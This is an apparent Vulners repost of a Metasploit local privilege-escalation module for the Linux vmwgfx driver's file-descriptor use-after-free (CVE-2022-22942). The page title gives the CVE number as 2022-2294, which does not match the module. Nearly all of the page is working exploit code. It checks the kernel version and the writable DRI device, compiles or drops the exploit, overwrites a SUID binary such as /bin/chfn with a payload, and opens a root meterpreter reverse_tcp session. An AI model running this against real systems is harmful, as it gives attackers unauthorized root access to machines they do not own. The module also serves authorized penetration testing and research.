Lucene search
K

vmwgfx Driver File Descriptor Handling Privilege Escalation Exploit

🗓️ 01 Feb 2023 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 327 Views

vmwgfx Driver File Descriptor Handling Priv Esc - Linux kernel 4.14-rc1 - 5.17-rc1 CVE-2022-2294

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc',
        'Description' => %q{
          If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to
          recover by deallocating the (already populated) file descriptor. This is
          wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
          as the fd table slot was already populated via the previous call to
          fd_install(). This leaves userland with a valid fd table entry pointing to
          a free'd 'file' object.

          We use this bug to overwrite a SUID binary with our payload and gain root.
          Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.

          Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Mathias Krause' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],
          [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],
          [ 'CVE', '2022-22942' ]
        ],
        'DisclosureDate' => '2022-01-28',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_OS_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          # seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    # Check the kernel version to see if its in a vulnerable range
    release = kernel_release
    unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') &&
           Rex::Version.new(release) < Rex::Version.new('5.17-rc1')
      return CheckCode::Safe("Kernel version #{release} is not vulnerable")
    end

    vprint_good "Kernel version #{release} appears to be vulnerable"

    @driver = nil

    if writable?('/dev/dri/card0') # ubuntu, RHEL
      @driver = '/dev/dri/card0'
    elsif writable?('/dev/dri/renderD128') # debian
      @driver = '/dev/dri/renderD128'
    else
      return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128')
    end
    vprint_good("#{@driver} found writable")

    @suid_target = nil
    if setuid?('/bin/chfn') # ubuntu
      @suid_target = '/bin/chfn'
    elsif writable?('/bin/chage') # RHEL/Centos
      @suid_target = '/bin/chage'
    else
      return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable')
    end
    vprint_good("#{@suid_target} suid binary found")

    if kernel_modules&.include?('vmwgfx')
      return CheckCode::Appears('vmwgfx installed')
    end

    CheckCode::Safe('Vulnerable driver (vmwgfx) not found')
  end

  def exploit
    # Check if we're already root
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # backup the suid binary before we overwrite it
    @suid_backup = read_file(@suid_target)
    path = store_loot(
      @suid_target,
      'application/octet-stream',
      rhost,
      @suid_backup,
      @suid_target
    )
    print_good("Original #{@suid_target} backed up to #{path}")
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

      c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')
      c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called
      c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target
      c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload

      upload_and_compile executable_path, strip_comments(c_code)
      register_files_for_cleanup(executable_path)
    else
      unless @suid_target == '/bin/chfn'
        fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems')
      end
      vprint_status 'Dropping pre-compiled exploit on system...'
      payload_path = '/tmp/.aYd3GAMlK'
      upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled')
    end

    # Upload payload executable
    print_status("Uploading payload to #{payload_path}")
    upload_and_chmodx payload_path, generate_payload_exe
    register_files_for_cleanup(generate_payload_exe)

    print_status 'Launching exploit...'
    output = cmd_exec executable_path, nil, 30
    output.each_line { |line| vprint_status line.chomp }
  end

  def cleanup
    if @suid_backup.nil?
      print_bad("MANUAL replacement of trojaned #{@suid_target} is required.")
    else
      print_status("Replacing trojaned #{@suid_target} with original")
      write_file(@suid_target, @suid_backup)
    end
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation